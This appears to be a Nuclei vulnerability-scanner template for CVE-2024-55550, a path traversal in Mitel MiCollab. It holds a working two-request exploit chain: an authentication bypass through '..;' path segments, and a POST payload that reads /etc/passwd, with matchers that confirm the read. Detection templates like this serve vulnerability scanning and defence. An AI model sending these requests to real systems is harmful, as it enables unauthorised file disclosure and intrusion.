id: CVE-2024-55550

info:
  name: "Mitel MiCollab - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Mitel MiCollab through 9.8 SP2 could allow an authenticated attacker with administrative privilege to conduct
    a local file read, due to insufficient input sanitization. A successful exploit could allow the authenticated
    admin attacker to access resources that are constrained to the admin access level, and the disclosure is
    limited to non-sensitive system information.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-55550&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mitel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.4
    cve-id: CVE-2024-55550
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2024,mitel,lfi,cmg-suite,auth-bypass,kev,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /npm-pwg/..;/usp/searchUsers.do HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "users"
          - "Network Element"
        condition: and
        internal: true

  - raw:
      - |
        POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%22%3E2%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Ccriteria+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3E..%2F..%2F..%2Fetc%2Fpasswd%3C%2FreportName%3E%3C%2Fcriteria%3E%3CoperationConfig+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CdataSource%3Esummary_reports%3C%2FdataSource%3E%3CoperationType%3Efetch%3C%2FoperationType%3E%3C%2FoperationConfig%3E%3CappID%3EbuiltinApplication%3C%2FappID%3E%3Coperation%3EdownloadReport%3C%2Foperation%3E%3ColdValues+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3Ex.txt%3C%2FreportName%3E%3C%2FoldValues%3E%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Ex%3C%2Fjscallback%3E%3C%2Ftransaction%3E&protocolVersion=1.0&__iframeTarget__=x

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "micollab_api:.*:.*"